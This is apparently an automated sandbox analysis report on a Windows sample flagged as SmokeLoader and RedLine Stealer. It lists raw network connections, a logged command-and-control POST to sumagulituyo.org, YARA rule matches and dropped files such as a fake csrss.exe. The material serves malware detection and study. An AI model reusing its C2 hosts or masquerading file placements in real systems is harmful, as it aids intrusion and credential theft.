18 66 d6 6d 40 fb 28 2d 66 9f 7d 34 ab e4 45 f4 43 64 59 ae 48 7e 64 b6 e7 c5 6c 96 13 44 11 5c bc 31 9d e7 d3 b7 f2 9a f7 e7 65 56 ae a9 c1 64 6f 77 7f 7a 3e 3d b8 b7 77 30 dd 9b ee 3d d8 7f b0 3b 7d b0 33 39 d8 cd 27 7b f9 ee 0e 31 eb 51 ca 7d d0 a0 0c 32 de 2c 4d aa 77 82 43 d0 c0 61 bb 5d b4 f9 42 5b fc d8 e3 32 9b e4 a5 69 e4 41 81 44 a7 f2 52 e7 d7 6d b4 c2 50 c0 7e fc ba 81 Data Ascii:

Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 212.47.227.71
Source: unknown	TCP traffic detected without corresponding DNS query: 212.47.227.71
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 209.58.180.90
Source: unknown	TCP traffic detected without corresponding DNS query: 209.58.180.90
Source: unknown	TCP traffic detected without corresponding DNS query: 209.58.180.90
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 212.47.227.71
Source: unknown	TCP traffic detected without corresponding DNS query: 209.58.180.90
Source: unknown	TCP traffic detected without corresponding DNS query: 209.58.180.90
Source: unknown	TCP traffic detected without corresponding DNS query: 209.58.180.90
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 38.47.221.193
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48
Source: unknown	TCP traffic detected without corresponding DNS query: 193.233.132.48

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://jswfkhglytwtow.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 318Host: sumagulituyo.org

Source: unknown	HTTPS traffic detected: 209.58.180.90:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 86.59.21.38:443 -> 192.168.2.7:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 147.135.65.134:443 -> 192.168.2.7:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 93.55.235.232:443 -> 192.168.2.7:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 46.254.37.204:443 -> 192.168.2.7:52154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 46.254.37.204:443 -> 192.168.2.7:51962 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 208.91.197.132:443 -> 192.168.2.7:54482 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 208.91.197.132:443 -> 192.168.2.7:51142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 208.91.197.132:443 -> 192.168.2.7:51135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 208.91.197.132:443 -> 192.168.2.7:51140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 208.91.197.132:443 -> 192.168.2.7:54483 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 0.2.BRvptajioG.exe.2b40e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.decegfu.2c50000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.decegfu.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.decegfu.2c40e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.85CF.exe.a50e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.85CF.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.BRvptajioG.exe.4700000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.BRvptajioG.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.85CF.exe.a60000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1297247950.0000000004700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.1638079911.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1690471740.0000000002C71000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1366664873.0000000004700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1864330183.00000000008C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.1914643611.0000000000A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1968402441.0000000002341000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1366749050.0000000004721000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1967570933.0000000000A70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1864271524.00000000008A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1690422627.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Window created: window name: CLIPBRDWNDCLASS

System Summary

Malicious sample detected (through community Yara rule)

Source: 0000000D.00000002.1690471740.0000000002C71000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000D.00000002.1690397415.0000000002C40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.1366353572.0000000002B40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000E.00000002.1864414709.0000000000948000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1366664873.0000000004700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000013.00000002.1968314715.0000000000AB9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000E.00000002.1864330183.00000000008C1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000E.00000002.1864227492.0000000000880000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000F.00000002.1862530348.00000000027BE000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.1967468018.0000000000A50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000002A.00000002.2100070670.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000013.00000002.1968402441.0000000002341000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000002D.00000002.2197337839.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1366749050.0000000004721000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000013.00000002.1967570933.0000000000A70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000E.00000002.1864271524.00000000008A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000D.00000002.1690627689.0000000002DC0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1366482846.0000000002B70000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000D.00000002.1690422627.0000000002C50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown

PE file contains section with special chars

Source: 6719.exe.11.dr	Static PE information: section name:
Source: 6719.exe.11.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00401DCF	14_2_00401DCF
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00401DD5	14_2_00401DD5
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00401DE5	14_2_00401DE5
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00401DA3	14_2_00401DA3
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00401DA4	14_2_00401DA4
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00401DAF	14_2_00401DAF
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00401DBC	14_2_00401DBC
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00410208	14_2_00410208
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00410E0D	14_2_00410E0D
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00414C25	14_2_00414C25
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00410A3B	14_2_00410A3B
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_004146D4	14_2_004146D4
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_0041069D	14_2_0041069D
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00415176	14_2_00415176
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00411D02	14_2_00411D02
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_004111F5	14_2_004111F5
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_0041658A	14_2_0041658A
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00881E0A	14_2_00881E0A
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00881E0B	14_2_00881E0B
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00881E16	14_2_00881E16
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00881E23	14_2_00881E23
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00881E3C	14_2_00881E3C
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00881E36	14_2_00881E36
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Code function: 14_2_00881E4C	14_2_00881E4C
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_00D20848	16_2_00D20848
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_00D21B68	16_2_00D21B68
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_00D20838	16_2_00D20838
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_00D21B59	16_2_00D21B59
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_032D9138	16_2_032D9138
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_032D0040	16_2_032D0040
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_032DD708	16_2_032DD708
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_032DC7D1	16_2_032DC7D1
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_032D0BB0	16_2_032D0BB0
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_032DF82F	16_2_032DF82F
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_032DBD18	16_2_032DBD18
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_032D9D98	16_2_032D9D98
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_032DD179	16_2_032DD179
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_032D75C1	16_2_032D75C1
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_032D75D0	16_2_032D75D0
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_032D0B9F	16_2_032D0B9F
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Code function: 16_2_032DBD0A	16_2_032DBD0A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_047747A0	18_2_047747A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_04775550	18_2_04775550
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_04771D5C	18_2_04771D5C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_04773A38	18_2_04773A38
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_04771E84	18_2_04771E84
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_04771000	18_2_04771000
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_0477356C	18_2_0477356C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_048A3980	18_2_048A3980
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_048B05A0	18_2_048B05A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_048AF7B0	18_2_048AF7B0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_048AFE00	18_2_048AFE00
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_048B0900	18_2_048B0900
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_048AF410	18_2_048AF410
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_048B1330	18_2_048B1330
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_048AECB0	18_2_048AECB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_048AE9E0	18_2_048AE9E0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_048A35F0	18_2_048A35F0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_048AF030	18_2_048AF030
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_048A1260	18_2_048A1260
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_048AFA70	18_2_048AFA70
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 18_2_048B0170	18_2_048B0170

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mfsrcsnk.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: cdprt.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: csunsapi.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: swift.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: nfhwcrhk.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: surewarehook.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: csunsapi.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: aep.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: atasi.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: swift.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: nfhwcrhk.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: nuronssl.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: surewarehook.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: ubsec.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: aep.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: atasi.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: swift.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: nfhwcrhk.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: nuronssl.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: surewarehook.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: ubsec.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: coreuicomponents.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: csunsapi.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: swift.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: nfhwcrhk.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: surewarehook.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: csunsapi.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: swift.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: nfhwcrhk.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: surewarehook.dll

Source: Joe Sandbox View	Dropped File: C:\ProgramData\Drivers\csrss.exe 9D3C881C29156B8FD82CED7C7726C4C65D4E741533C9F886112F440698B1469D
Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: Span.20.dr

Static PE information: Data appended to the last section found

Source: BRvptajioG.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0000000D.00000002.1690471740.0000000002C71000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000000D.00000002.1690397415.0000000002C40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000000.00000002.1366353572.0000000002B40000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000E.00000002.1864414709.0000000000948000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1366664873.0000000004700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
